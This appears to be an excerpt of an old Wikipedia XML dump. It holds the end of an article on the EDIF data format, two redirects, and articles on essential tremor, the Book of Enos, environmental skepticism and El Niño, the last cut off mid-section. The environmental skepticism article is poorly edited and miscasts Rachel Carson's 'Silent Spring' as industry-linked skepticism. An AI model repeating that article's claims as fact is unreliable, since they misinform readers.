But the &quot;customers&quot; had a different desire. They saw immediately that while vendor A might have a really nice analog simulation environment, vendor B had a much better PCB or silicon layout auto-router. And they wished that they could pick and choose amongst the different vendors.

EDIF was mainly supported by the electronics design end-users, and their companies. The EDA vendors were involved also, but their motivation was more along the lines of wanting to not alienate their customers. Most of the EDA vendors produced EDIF 2 0 0 translators, but they were definitely more interested in generating high-quality EDIF readers, and they had absolutely no motivation at all to write any software that generated EDIF (an EDIF Writer), beyond threats from customers of mass migration to another vendor's software.

The result was rather interesting. Hardly any software vendor wrote EDIF 2 0 0 output that did not have severe violations of syntax or semantics. The semantics were just loose enough that there might be several ways to describe the same data. This began to be known as &quot;flavors&quot; of EDIF. The programmers who worked on EDIF products were usually competent, hard working people, but the vendor companies did not always feel it important to allocate many resources to EDIF products, even if they sold a large number of them. There were several stories of active products with virtually no-one to maintain them for years. User complaints were merely gathered and prioritized. The harder it became to export customer data to EDIF, the more the vendors seemed to like it. Those who did write EDIF translators found they spent a huge amount of time and effort on generating sufficiently powerful, forgiving, artificially-intelligent readers, that could handle and piece together the poor-quality code produced by the extant EDIF 2 0 0 writers of the day.

In designing EDIF 3 0 0, the committees were well aware of the faults of the language, the calumny heaped on EDIF 2 0 0 by the vendors and the frustration of the end users. So, to tighten the semantics of the language, and provide a more formal description of the standard, the revolutionary approach was taken to provide an information model for EDIF, in the information modeling language [[EXPRESS]]. This was a fairly good idea, and helped to better document the standard, but was done more as an afterthought, as the syntax crafting was done independently of the model, instead of being generated from the model. Also, even though the standard says that if the syntax and model disagree, the model is the standard, this is not the case in practice. The [[Backus-Naur form|BNF]] description of the syntax is the foundation of the language inasmuch as the software that does the day-to-day work of producing design descriptions is based on a fixed syntax. The information model also suffered from the fact that it was not (and is not) ideally suited to describing EDIF. It does not describe such concepts as name spaces very well at all, and the differences between a definition and a reference is not clearly describable either. Also, the constructs in EXPRESS for describing constraints might be formal, but constraint description is a fairly complicated matter at times. So, most constraints ended up just being described as comments. Most of the others became elaborate formal descriptions which most readers will never be able to decipher, and therefore may not stand up to automated debugging/compiling, just as a program might look good in review, but a compiler might find some interesting errors, and actually running the program written might find even more interesting errors. (Additionally, analogous EXPRESS compilers/executors didn't exist when the standard was written, and may not still exist today!) But, taking into account these shortcomings, the information model for EDIF 300 is a grand work, and a bedrock for discussions about the domain.

=== Solutions to EDIF 2 0 0 problems ===

The solution to the &quot;flavor&quot; problem of EDIF 2 0 0 was to develop a more specific semantic description in EDIF 3 0 0 (1993). Indeed, reported results of people generating EDIF 3 0 0 translators was that the writers were now ''much'' more difficult to get right, due to the great number of semantic restrictions, and the readers are comparatively trivial to develop.

The solution to vendor &quot;conflict of interest&quot; was neutral third-party companies, who could provide EDIF products based on vendor interfaces. This separation of the EDIF products from direct vendor control was critical to providing the end-user community with tools that worked well. It formed naturally and without comment. Engineering DataXpress was perhaps the first such company in this realm, with Electronic Tools Company seeming to have captured the market in the mid to late 1990s. Another dynamic in this industry is EDIF itself. Since they have grown to a rather large size, generating readers and writers has become a very expensive proposition. Usually the third-party companies have congregated the necessary specialists and can use this expertise to more efficiently generate the software. They are also able to leverage code sharing and other techniques an individual vendor could not.  By [[2000]], almost no major vendor produced its own EDIF tools, choosing instead to [[original equipment manufacturer|OEM]] third-party tools. 

Since the release of EDIF 4 0 0, the entire EDIF standards organisation has essentially dissolved. There have been no published meetings of any of the technical subcommittees, the EDIF Experts group, etc. Most of the individuals involved have moved on to other companies or efforts. The newsletter was abandoned, and the Users' Group no longer holds yearly meetings. EDIF 3 0 0 and 4 0 0 are now [[ANSI]], [[IEC]] and European (EN) standards.  EDIF Version 3 0 0 is IEC/EN 61690-1, and EDIF Version 4 0 0 is IEC/EN 61690-2.

==External links==
*[http://www.edif.org/ EDIF web site]

[[Category:CAD file formats]]
[[Category:EDA software]]

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    </revision>
  </page>
  <page>
    <title>Explosives</title>
    <id>10523</id>
    <revision>
      <id>15908330</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Explosive material]]
</text>
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  </page>
  <page>
    <title>Enea Silvio Piccolomini</title>
    <id>10526</id>
    <revision>
      <id>15908332</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Pope Pius II]]
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  </page>
  <page>
    <title>Essential tremor</title>
    <id>10528</id>
    <revision>
      <id>41941292</id>
      <timestamp>2006-03-02T19:53:11Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Essential tremor |
  ICD10       = G25.0 |
  ICD9        = {{ICD9|333.1}} |
}}
'''Essential tremor''' is a [[neurological disorder]] characterized by shaking of [[hand]]s (and sometimes other parts of the body including the [[head (anatomy)|head]]), evoked by intentional movements. The incidence is unknown, but is estimated to be as common as one person in 20, and it is the most common type of [[tremor]] and also the most commonly observed movement disorder. 

==Cause==
The cause of the disease is unknown ([[idiopathic]]). While no identifiable and consistent structural abnormality has been demonstrated yet to exist in the [[nervous system]] of every person with ET, prominent researchers including Elan D. Louis are searching actively for neurochemical and brain structure abnormalities that might be commonplace among people with ET. 

Tremor intensity can worsen in response to fatigue, strong emotions, hunger, cold, or other factors and can be reduced with [[ethanol|alcohol]] in approximately 50 percent of patients. However, an over-reliance on alcohol to control tremor symptoms can sometimes lead to alcohol addiction. 

There is ongoing controversy as to whether ET is related to [[Parkinson's disease]] and whether essential tremor should properly be considered a kind of parkinsonism. While some research findings appear to suggest that ET patients face a greater than average chance of developing Parkinson's, those findings might be a misleading effect of the widespread difficulty that doctors experience when they try to distinguish Parkinson's symptoms from ET symptoms and arrive at a definitive diagnosis. 

Members of a family known as the &quot;Iowa Kindred&quot; develop either parkinsonism or symptoms that are indistinguishable from ET; their pattern of inheritance is associated with PARK4.

==Diagnosis==
Usually the diagnosis is established on clinical grounds, but when suspicion exists, other potential sources of tremor (excessive [[caffeine]] consumption, [[recreational drug use]], [[hyperthyroidism]]) should be excluded. 

Essential tremor is often found in more than one member of a family (familial tremor), in which case it is usually dominant in inheritance, or it may occur with no [[Family history (medicine)|family history]]. Tremors can start as any age, from [[childbirth|birth]] through advanced ages (senile tremor). Any voluntary muscle in the body may be affected, though it's most commonly seen in the [[hands]] and [[arm]]s and slightly less commonly in the [[neck]] (causing the patient's head to shake), [[eyelid]]s, [[larynx]], [[tongue]], trunk, and legs. A resting tremor of the hands is sometimes present, despite the common misunderstanding that a resting tremor is proof of Parkinson's Disease. 

ET does sometimes occur in combination with other neurological disorders such as [[dystonia]] and [[benign fasciculation syndrome]]. However, there is no clear evidence that having ET predisposes a person to one of these diseases. 

==Symptoms==
Essential tremor (ET) generally presents as a rhythmic tremor (4-12[[Hertz| Hz]]) that is present only when the affected [[muscle]] is exerting effort (i.e., it is not present at rest). Any sort of physical or mental [[stress (medicine)|stress]] will tend to make the tremor worse, often creating the false impression that the tremor is of [[psychosomatic]] origin. It is typical for the tremor to worsen in &quot;performance&quot; situations, such as when making out a check at a checkout stand. This is probably due to the increased anxiety that a tremulous person experiences in such situations. ET-related tremors do not occur during sleep, but patients sometimes complain of an especially coarse tremor upon awakening that becomes noticeably less coarse within the first few minutes of wakefulness. 

It is commonly assumed among researchers that tremors are not the only symptom of ET.

In disabling cases, ET can interfere with a person's ability to perform tasks of daily living, including feeding, dressing, and activities of personal hygiene.

ET is usually painless, although in some cases tremor of the head or [[neck]] causes pain, and writing can become painful quickly for a person with hand tremors who grips a pen tightly in a struggle to maintain control over penmanship.

In 1994, J.L. Izquierdo-Alonso and P. Martínez-Martín, et al, reported in the ''European Respiratory Journal'' that some ET patients exhibit tremor-related symptoms that mimic bronchial asthma. These patients have involuntary tremors, contractions, and other abnormal phasic activity in the musculature of their upper airway (at a rhythmic frequency of 7-8 Hz), including their glottal structures and laryngeal muscles. The abnormal movements close their airways partially and they exhibit paroxysmal attacks of wheezing, coughing, and dyspnoea that are worsened, not improved, by asthma medications.

Sometimes people with ET develop a raspy speaking voice while their ET symptoms worsen over time. When this [[dysphonia]] occurs, it is true even in cases where the person's tremor symptoms were first noticeable during early childhood and, so, is unlikely to be related to commonplace reductions in quality that can gradually affect the speaking voices of some elderly people.

People with ET often report a progressive decline in their sense of balance and their fine motor skills; published research does suggest that an impaired sense of balance might prevent ET patients from walking normally.

Conflicting research results have so far made it difficult for medical researchers to say with certainty that people with ET are more likely than the general population to experience hearing loss and a reduction or complete loss of [[olfaction]], among a wide assortment of other non-tremor symptoms, but credible researchers have published findings that support claims of progressive hearing loss and progressive loss of olfaction in people with ET. 

Some hard research reports suggest people with ET frequently experience mild mental symptoms that include difficulty with &quot;word finding&quot; (remembering an intended word when speaking) and simple short-term memory loss.  However, because such symptoms are common with normal aging, it's difficult to determine if these reports are significant.

Other published reports suggest that people with ET experience personality changes that leave them pessimistic, fearful, shy, anxious, and easily fatigued. 

While ET is clearly progressive in some cases (sometimes rapidly, sometimes very slowly), and can in severe cases be disabling, it is apparently not life-threatening and does not appear to shorten lifespan. (Some research suggests that people with ET actually live longer than average.) 

On April 13, 2005, researchers Julián Benito-Leon and Elan D. Louis presented their findings at the American Academy of Neurology 57th Annual Meeting in Miami Beach that people with ET are more than twice as likely to develop dementia than people who do not have ET. Dr. Benito-Leon told journalists at that time, &quot;We don’t yet know whether the dementia is due to the same underlying problem that is causing the essential tremor or whether it is caused by another problem.&quot; In their research, 7.4 percent of people with ET went on to develop dementia, compared to just 3.5 percent in a control group. 

Among the recent and provocative peer-reviewed research regarding non-tremor symptoms of ET, these papers are especially noteworthy:

- A Chatterjee, E C Jurewicz, L M Applegate, and E D Louis. ''Personality in essential tremor: further evidence of non-motor manifestations of the disease''. J. Neurol. Neurosurg. Psychiatry, Jul 2004; 75: 958 - 961.

- Lacritz LH, Dewey R, Giller C, et al. ''Cognitive functioning in individuals with &quot;benign&quot; essential tremor''. J Int Neuropsychol Soc 2002;8:125–9.

- Gasparini M , Bonifati V, Fabrizio E, et al. ''Frontal lobe dysfunction in essential tremor: a preliminary study''. J Neurol 2001;248:399–402.

- Lombardi WJ, Woolston DJ, Roberts JW, et al. ''Cognitive deficits in patients with essential tremor''. Neurology 2001;57:785–90.

- Duane DD, Vermilion KJ. ''Cognitive deficits in patients with essential tremor''. Neurology 2002;58:1706 discussion: 1706,.

- Vermilion K , Stone A, Duane D. ''Cognition and affect in idiopathic essential tremor''. Mov Disord 2001;16:S30.

==Treatment==
Treatment of ET may or may not be attempted, depending on the severity of the tremor and the physical and social handicaps that implies. Drug treatment may include [[tranquilizer]]s, [[beta-blocker]]s, and [[antiepileptic]] drugs. [[Surgery|Surgical]] treatments (which are generally reserved for the most severe cases) include [[botulism]] toxin injections into the affected muscles, [[thalamotomy]], [[pallidotomy]], and [[deep brain stimulation]] &amp;ndash; the insertion of a &quot;[[pacemaker]]&quot; into the [[brain]].

The two medications that are prescribed most commonly for control of ET symptoms are the anticonvulsant [[Primidone]] (Mysoline&amp;reg;) and the beta-blocker [[propranolol]] (Inderal&amp;reg;).

==Support groups==
The International Essential Tremor Foundation (IETF) provides information, services and support to individuals and families affected by essential tremor (ET). The organization encourages and promotes research in an effort to determine the causes, treatment and ultimately the cure for ET. The IETF is a worldwide organization dedicated to meeting the needs of those whose daily lives are challenged by ET. IETF, an international non-profit 501(c)(3) organization that derives its support entirely from its membership and the general public, was founded in 1988 and is guided by a board of directors and a medical advisory council. The organization's membership consists of patients, physicians, educators, parents, relatives and volunteers who provide education, community services and funding to help support tremor research.

The US-based Tremor Action Network (TAN) describes itself as &quot;the first volunteer only 501(c)(3) nonprofit organization created by people diagnosed with essential tremor.&quot;  This volunteer-run organisation provides a website with forums, FAQs, and recently started carrying a newsletter on its website.

The National Tremor Foundation (NTF), founded in 1992, is a British friendly organisation based in Essex, England, an affiliate of the International Tremor Foundation, which was founded in 1988.  The organisation's primary work is production of a quarterly informational newsletter.  The NTF also maintains a list of ITF medical advisors, and facilitates the formation of self-help groups.  NTF was granted charitable status in 1994.

==Help with computers==
Tunic Software has released software to help people with essential tremor, [[Parkinson's Disease]], and other causes of hand tremor control their [[computer mouse]]. Called 'MouseCage', the software automatically smoothes mouse cursor motion to reduce the effects of unsteady or shaky hands.  [http://www.mousecage.org/ MouseCage anti-tremor mouse software]

IBM created a peripheral device that filters out tremoring movements of the hand. The hardware adapter, termed AMA, is connected between the computer and the input device. It is switched on or off and adjusted for tremor severity right on the device. 

IBM also offer a free smoothing mouse driver for windows 2000 and XP which uses the same technology that helps steady the image in a hand held camcorder.
[http://www.alphaworks.ibm.com/tech/mousesmoothing Free IBM Mouse smoothing software]

Other tools have also been adapted for people with tremors; for example, eating utensils which are weighted to help damp out tremor.

==External links==
*[http://www.essentialtremor.org/ International Essential Tremor Foundation] (USA)
*[http://www.tremoraction.org/ Tremor Action Network] (USA)
*[http://www.tremor.org.uk/ National Tremor Foundation] (UK)
*[http://www.aptes.org./ Association APTES] (FRANCE)
*[http://www.mousecage.org/ 'MouseCage' Essential Tremor Mouse Software]
*[http://www.steadymouse.com/ 'SteadyMouse' Essential Tremor Mouse Software]
*[http://www.casafuturatech.com/ Casa Futura Technologies DAF/FAF anti-stuttering devices]
*[http://www.montrosesecam.com/ Essential Tremor Mouse Hardware]
*[http://www.essentialtremor.us/ Essential Tremor Centralized Brain Repository]

[[Category:Neurology]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Enos</title>
    <id>10529</id>
    <revision>
      <id>27199538</id>
      <timestamp>2005-11-02T23:22:12Z</timestamp>
      <contributor>
        <username>Paul D. Anderson</username>
        <id>401201</id>
      </contributor>
      <comment>standardized intro</comment>
      <text xml:space="preserve">{{Template:Books of the Book of Mormon}}
'''''The Book of Enos''''' is the fourth book of the ''[[Book of Mormon]]''. According to the text it was written by [[Enos (Book of Mormon)|Enos]], a [[Nephite]] prophet. 

The book consists of a single chapter and discusses Enos's conversion after praying all day and all night, and his subsequent dialog with the Lord.  It also discusses the [[salvation|redemption]] of the Nephites and their enemies, the [[Lamanite]]s.

==External links==
* [http://scriptures.lds.org/enos/contents Book of Enos text] on the LDS Church web site
* [http://scriptures.lds.org/enos/summary Book of Enos summary]

[[Category:Books of the Book of Mormon]]</text>
    </revision>
  </page>
  <page>
    <title>Environmental skepticism</title>
    <id>10530</id>
    <revision>
      <id>40534186</id>
      <timestamp>2006-02-21T06:39:55Z</timestamp>
      <contributor>
        <username>FWBOarticle</username>
        <id>84919</id>
      </contributor>
      <comment>magician deleted.  This isn't the place to ridicule environmental skepticism</comment>
      <text xml:space="preserve">'''Environmental skepticism''' is an umbrella term that describes those that believe certain claims put forward by [[environmentalism|environmentalists]] particularly alarming claims, are exaggerated to some degree. Sometimes a view may be labelled as environmental skepticism when the term  ''environmental [[cynicism]]''  may be more accurate. 

Some skeptics believe that human damage to the environment is either minimal or less important in its likely consequences than the benefits that damaging economic development brings, others believe that any significant future damage will be fixed by yet-to-be invented [[technology]], while yet others believe that major elements of the environment are in fact improving over time. On the other hand,skeptics who believe that human activities have not caused ''any'' environmental damage is almost non existence.  .

Sometimes environmental skeptics hold opinions that run completely counter to the opinions of most environmentalists, for example their stance on second-hand tobacco smoke, [[recycling]], [[global warming]] or [[nuclear power]].  However, most skeptics arguments are much more nuanced.  For example, they may object to recycling of plastic on the ground that resouce cost of recycling plastic is greater than resouce cost of producing plastic from oil. Some accept the science of global warming but object to the Kyoto protocol on the ground that it is ineconomical.   

To illustrate the difference between the environmental cynics and the skeptics, environmental skeptics, like all skeptics use the scientific method to evaluate concerns while environmental cynics would maintain a generally negative attitude to all environmentalism including environmental science especially if it is based on some &quot;soft&quot; science such as meteology.  

Historically, a small number of extreme Environmental skepticism have been linked to the interests of large, polluting industries such as Rachael Carson's ''Silent Spring'' (&quot;dilution is the solution to pollution&quot;). It is also pointed out that the environmentalist also employ much of &quot;science&quot; which are spinned toward the political purpose of environmentalist group.  

A particularly controversial paper published is the political scientist [[Bjørn Lomborg]] who wrote ''[[The Skeptical Environmentalist]]''. His book was peer reviewed and published under the category of environmental economics. The book probably presented a middle ground of environmental skepticism.  Bjorn accepted the general concensus of science about global warming while disagreed on the policy respose exemplified by Kyoto protocal. The environmental scientist generally were hostile to the book while the responses from economist and political scientist were generally positive.  

[[Category:Environmental skepticism]]

== Bibliography ==

* Chase, Alston, ''In a Dark Wood: The Fight over Forests &amp; the Myths of Nature'', New Brunswick, N.J., Transaction Publishers, 2001 ISBN 0765807521
* Driessen, Paul, ''Eco-Imperialism: Green Power, Black Death'', Kenmore, NY, Merrill Press, 2003 ISBN 0939571234
* Essex, Cristopher and Ross McKitrick, ''Taken By Storm: The Troubled Science, Policy and Politics of Global Warming'', Toronto, Ont., Key Porter Books, 2003 ISBN 1552632121 
* Huber, Peter, ''Hard Green: Saving the Environment from the Environmentalists'', New York, Basic Books, 2000 ISBN 0465031137
* Lomborg, Bjørn, ''The Skeptical Environmentalist: Measuring the Real State of the World'', Cambridge &amp; New York, Cambridge University Press, 2001 ISBN 0521010683
* Lomborg, Bjørn (ed.), ''Global Crises, Global Solutions'', Cambridge &amp; New York, Cambridge University Press, 2004 ISBN 0521606144
* Michaels, Patrick J., ''The Satanic Gases: Clearing the Air about Global Warming'', Washington D.C., Cato Institute, 2000 ISBN 1882577922
* [[José Ortega y Gasset|Ortega Y Gasset, Jose]], ''Meditations on Hunting'', Montague, MI, Wilderness Adventures Books, 1995, ISBN 1885106181
* Swan, James A., ''In Defense of Hunting: Yesterday and Today'', San Francisco, HarperSanFrancisco, 1995 ISBN 0062512374

----</text>
    </revision>
  </page>
  <page>
    <title>ENSO</title>
    <id>10531</id>
    <revision>
      <id>42135178</id>
      <timestamp>2006-03-04T01:27:39Z</timestamp>
      <contributor>
        <username>Greatigers</username>
        <id>347900</id>
      </contributor>
      <comment>Fixed page</comment>
      <text xml:space="preserve">:''This article is about Pacific ocean temperature anomalies; for the golfer known as ''El Niño'', see ''[[Sergio García]].

[[image:el-nino.gif|right|thumb|400px|Chart of ocean surface temperature anomaly [°C] during the last strong El Niño in December 1997]]

'''ENSO''' ('''El Niño-Southern Oscillation''') is a global coupled ocean-atmosphere phenomenon. The Pacific ocean signatures, '''El Niño''' and '''La Niña''' (also written in [[English language|English]] as '''''El Nino''''' and '''''La Nina''''') are major temperature fluctuations in surface waters of the tropical [[Pacific Ocean|Eastern Pacific Ocean]]. The names, from the [[Spanish language|Spanish]] for &quot;the little boy&quot; and &quot;the little girl&quot;, refer to the [[Christ]] child, because the phenomenon is usually noticed around [[Christmas]] time in the Pacific Ocean off the west coast of [[South America]]. Their effect on climate in the southern hemisphere is profound. These effects were first described in 1923 by [[Gilbert_Walker|Sir Gilbert Thomas Walker]] from whom the [[Walker circulation]], an important aspect of the Pacific ENSO phenomenon, takes its name. The atmospheric signature, the '''Southern Oscillation''' ('''SO''') reflects the monthly or seasonal fluctuations in the air pressure difference between [[Tahiti]] and [[Darwin, Northern Territory|Darwin]].

ENSO is a set of interacting parts of a single global system of coupled ocean-atmosphere climate fluctuations that come about as a consequence of oceanic and [[atmospheric circulation]]. ENSO is the most prominent known source of inter-annual variability in weather and climate around the world (~3 to 8 years),though not all areas are affected. ENSO has signatures in the Pacific, Atlantic and Indian Oceans. In the Pacific, during major warm events El Niño warming extends over much of the tropical Pacific and becomes clearly linked to the SOI intensity. While ENSO events are basically in phase between the Pacific and Indian Oceans, ENSO events in the Atlantic Ocean lag those in the Pacific by 12-to-18 months. Many of the countries most affected by ENSO events are developing countries within main continents (South America, Africa...), with economies that are largely dependent upon their agricultural and fishery sectors as a major source of food supply, employment, and foreign exchange. New capabilities to predict the onset of ENSO events in the three oceans can have global socio-economical impacts. While ENSO is a global and natural part of the Earth's climate, whether its intensity or frequency may change as a result of global warming is an important concern. Low-frequency variability has been evidenced. Inter-decadal modulation of ENSO might exist.

==El Niño and La Niña==
[[Image:Enso elnino.png|right|thumb|256px|El Niño Conditions.  Warm water pool approaches South American coast. Absence of cold upwelling increases warming.  ([[NOAA]] / PMEL / TAO)]]
[[Image:Enso normal.png|left|thumb|256px|Normal Pacific pattern.  Equatorial winds gather warm water pool toward west. Cold water upwells along South American coast.]]
[[Image:Enso lanina.png|right|thumb|256px|La Niña Conditions.  Warm water is further west than usual.]]

El Niño and La Niña are officially defined as sustained sea [[surface temperature]] anomalies of magnitude greater than 0.5&amp;deg;C across the central tropical Pacific Ocean.  When the +0.5&amp;deg;C (or -0.5&amp;deg;C) condition is met for a period of less than five months, it is classified as El Niño (or La Niña) conditions.  If the anomaly persists for five months or longer, it is classified as an El Niño (or La Niña) episode.  The name comes from the [[Spanish language|Spanish name]] for the [[Child Jesus|Christ child]]; the name was given to the phenomenon by fishermen working off the coast of [[Peru]] and [[Ecuador]], who noticed it often occurs around [[Christmas]]. In historical times it has occurred at irregular intervals of 2-7 years and has usually lasted one or two years.

El Niño's warm current of nutrient-poor tropical water, heated by its eastward passage in the Equatorial Current, replaces the cold, nutrient-rich surface water of the [[Humboldt Current]] which support great populations of food fish.   In most years the warming lasts only a few weeks or a month, after which the weather patterns return to normal and fishing improves. However, when El Niño conditions last for many months, more extensive ocean warming occurs and its economic impact to local fishing for an international market can be serious.

Recent El Niños have occurred in 1986-1987, 1991-1992, 1993, 1994, 1997-1998, and 2002-2003. A rather weak El Niño began in September 2004 and ended in the spring of 2005.  Weak La Niña conditions have developed during the past few months, and have been classified as a weak La Niña episode. [http://www.cpc.ncep.noaa.gov/products/analysis_monitoring/enso_advisory/index.html] The El Niño of 1997-1998 was particularly strong and brought the phenomenon to worldwide attention, while the period from 1990-1994 was unusual in that El Niños have rarely occurred in such rapid succession (but were generally weak).

[[Image:Enso jma.png|thumb|left|ENSO index]]
The [[Walker circulation]] is seen at the surface as easterly trade winds which move water and air warmed by the sun towards the west. This also creates ocean [[upwelling]] off the coasts of [[Peru]] and [[Ecuador]] and brings nutrient-rich cold water to the surface, increasing fishing stocks. The western side of the equatorial [[Pacific]] is characterized by warm, wet low pressure weather as the collected moisture is dumped in the form of typhoons and thunderstorms. The ocean is some 60 cm higher in the eastern Pacific as the result of this motion. 

In the Pacific, La Niña is characterized by unusually cold ocean temperatures in the eastern equatorial Pacific, compared to El Niño, which is characterized by unusually warm ocean temperatures in the same area. Atlantic [[tropical cyclone]] activity is generally enhanced during La Niña. The La Niña condition often follows the El Niño, especially when the latter is strong. Strong La Niñas occurred in 1988-1989 and 1998-2001, and weakly in 1995-1996.

[[Image:El Nino regional impacts.gif|thumb|256px|Regional impacts of warm ENSO episodes (El Niño).]]
[[Image:La Nina regional impacts.gif|thumb|256px|Regional impacts of cold ENSO episodes. (La Niña)]]

==Wider effects of El Niño conditions==
Because El Niño's warm pool feeds thunderstorms above, it creates increased rainfall across the east-central and eastern Pacific Ocean.

In South America, the effects of El Niño are direct and stronger than in North America. An El Niño is associated with warm and very wet summers (December-February) along the coasts of northern [[Peru]] and [[Ecuador]], causing major flooding whenever the event is strong or extreme. The effects during the months of February, March and April may become critical. Southern [[Brazil]] and northern [[Argentina]] also experience wetter than normal conditions but mainly during the spring and early summer. Central [[Chile]] receives a mild winter with large rainfall, and the [[Peru|Peruvian]]-[[Bolivia|Bolivian]] [[Altiplano]] is sometimes exposed to unusual winter snowfall events. Drier and hotter weather occurs in parts of the [[Amazon River]] Basin, [[Colombia]] and [[Central America]].

Direct effects of El Niño resulting in drier conditions occur in [[Indonesia]], increasing [[forest fire]]s, in the [[Philippines]], and northern [[Australia]].  Drier than normal conditions are also generally observed in [[Queensland]], inland [[Victoria (Australia)|Victoria]], inland [[New South Wales]] and eastern [[Tasmania]] during [[June]]-[[August]].

West of the [[Antarctic Peninsula]], the [[Ross Sea|Ross]], [[Bellingshausen Sea|Bellingshausen]], and [[Amundsen Sea]] sectors have more sea ice during El Niño.  The latter two and the [[Weddell Sea]] also become warmer and have higher atmospheric pressure.

In [[North America]], typically, winters are warmer than normal in the upper Midwest states and [[Canada]], while central and southern [[California]], northwest [[Mexico]] and the southeastern U.S., are wetter than normal.  Summer is wetter in the intermountain regions of the U.S. The Pacific Northwest states, on the other hand, tend to be drier during an El Niño. During a La Niña, by contrast, the Midwestern U.S. tends to be drier than normal. El Niño is also associated with decreased [[hurricane]] activity in the Atlantic.

Finally, [[East Africa]], including [[Kenya]], [[Tanzania]] and the [[White Nile]] basin, experiences in the long rains from March to May wetter than normal conditions. There also are drier than normal conditions from December to February in south-central Africa, mainly in [[Zambia]], [[Zimbabwe]], [[Mozambique]] and [[Botswana]].

==Non-climate effects==
[[Image:East pacific fishing.jpg|thumb|left|350px|East Pacific fishing]]
Along the west coast of [[South America]], El Niño reduces the [[upwelling]] of cold, nutrient-rich water that sustains large [[fish]] populations, which in turn sustain abundant sea birds, whose droppings support the [[fertilizer]] industry.  

The local fishing industry along the affected coastline can suffer during long-lasting El Niño events.  The world's largest fishery collapsed due to overfishing during the 1972 El Niño [[Peruvian anchoveta]] reduction.  During the 1982-83 event, [[mackerel|jack mackerel]] and anchoveta populations were reduced, [[scallop]]s increased in warmer water, but [[hake]] followed cooler water down the continental slope, while [[shrimp]] and [[sardines]] moved southward so some catches decreased while others increased.  [[mackerel|Horse mackerel]] have increased in the region during warm events.

[[Image:El nino fishing.jpg|thumb|right|200px|Fishing in warm water for cold-loving fish.]]

Shifting locations and types of fish due to changing conditions provide challenges for fishing industries.  Peruvian [[sardine]]s have moved during El Niño events to [[Chile]]an areas.  Other conditions provide further complications, such as the government of Chile in 1991 creating restrictions on the fishing areas for artisanal fishermen and industrial fleets.

The ENSO variability may contribute to the great success of small fast-growing species along the Peruvian coast, as periods of low population removes predators in the area.  Similar effects benefit [[migratory]] birds which travel each spring from predator-rich tropical areas to distant winter-stressed nesting areas.

It has been postulated that a strong El Niño led to the demise of the [[Moche]] and other pre-Columbian [[Cultural periods of Peru|Peruvian cultures]].


== ENSO and global warming ==

A few years ago, attribution of recent changes (if any) in ENSO or predictions of future changes were very weak [http://www.grida.no/climate/ipcc_tar/wg1/361.htm]. More recent results (e.g. Collins et al.) tend to suggest that the projected tropical warming may follow a somewhat El-Nino like spatial pattern, without necessarily altering the variability about this pattern.

==Causes of El Niño==
The mechanisms which might cause an El Niño event are still being investigated.  It is difficult to find patterns which may show causes or allow forecasts.

Major theories:
* Bjerknes in 1969 suggested that an anomalously warm spot in the eastern Pacific can weaken the east-west temperature difference, causing weakening in the [[Walker circulation]] and trade wind flows, which push warm water to the west.  The result is increasingly warm water toward the east.
* Wyrtki in 1975 proposed that increased trade winds could build up the western bulge of warm water, and any sudden weakening in the winds would allow that warm water to surge eastward.  However, there was no such buildup preceding the 1982-83 event.
* ''Recharge oscillator:'' Several mechanisms have been proposed where warmth builds up in the equatorial area, then is dispersed to higher latitudes by an El Niño event.  The cooler area then has to &quot;recharge&quot; warmth for several years before another event can take place.
* ''Western Pacific oscillator:'' In the western Pacific, several weather conditions can cause easterly wind anomalies.  For example, a cyclone to the north and anticyclone to the south force easterly winds between.  Such patterns may counteract the westward flows across the Pacific and create a tendency toward continuing the eastward motion.  A weakening in the westward currents at such a time may be the final trigger.
* Equatorial Pacific Ocean may tend to be near El Niño conditions, with several random variations affecting behavior.  Weather patterns from outside the area or volcanic events may be some such factors.
* The [[Madden-Julian Oscillation]] (MJO) is an important source of variability that can contribute to a more rapid evolution toward El Niño conditions through related fluctuations in low-level winds and precipitation over the western and central equatorial Pacific. Eastward-propagating oceanic [[Kelvin wave]]s can be produced by MJO activity.


== Southern Oscillation Index (SOI) ==
[[Image:Enso-soi.png|thumb|right|SOI index, 1876-2005 on top of ENSO index]]
[[Image:Soi-map.png|thumb|left|Correlation of the SOI against mean sea level pressure]]

The Southern Oscillation Index (SOI) is calculated from the monthly or seasonal fluctuations in the air pressure difference between [[Tahiti]] and [[Darwin, Northern Territory|Darwin]].

Sustained negative values of the SOI often indicate El Niño episodes. These negative values are usually accompanied by sustained warming of the central and eastern tropical Pacific Ocean, a decrease in the strength of the Pacific [[Trade wind]]s, and a reduction in rainfall over eastern and northern Australia. The most recent strong El Niño was in 1997/98.

Positive values of the SOI are associated with stronger Pacific trade winds and warmer sea temperatures to the north of Australia, popularly known as a La Niña episode. Waters in the central and eastern tropical Pacific Ocean become cooler during this time. Together these give an increased probability that eastern and northern Australia will be wetter than normal.

The most recent strong La Niña was in 1988/89; a moderate La Niña event occurred in 1998/99, which weakened back to neutral conditions before reforming for a shorter period in 1999/2000. This last event finished in Autumn 2000.

=== Western Hemisphere Warm Pool ===
Study of climate records has found that about half of the summers after an El Niño have unusual warming in the '''[[Western Hemisphere Warm Pool]] (WHWP)'''.  This affects weather in the area and seems to be related to the [[North Atlantic Oscillation]].

=== Atlantic effect ===
An effect similar to El Niño sometimes takes place in the Atlantic Ocean, where water along equatorial Africa's [[Gulf of Guinea]] becomes warmer and eastern Brazil becomes cooler and drier.  This may be related to El Niño Walker circulation changes over South America.

== History ==

The first mention of the term &quot;El Nino&quot; to refer to climate occurs in 1892, when Captain Camilo Carrilo told the Geographical society congress in [[Lima]] that Peruvian sailors named the warm northerly current &quot;El Nino&quot; because it was most noticeable around Christmas. However even before then the phenomenon was of interest because of its effects on biological productivity, with its effects on the [[guano]] industry.

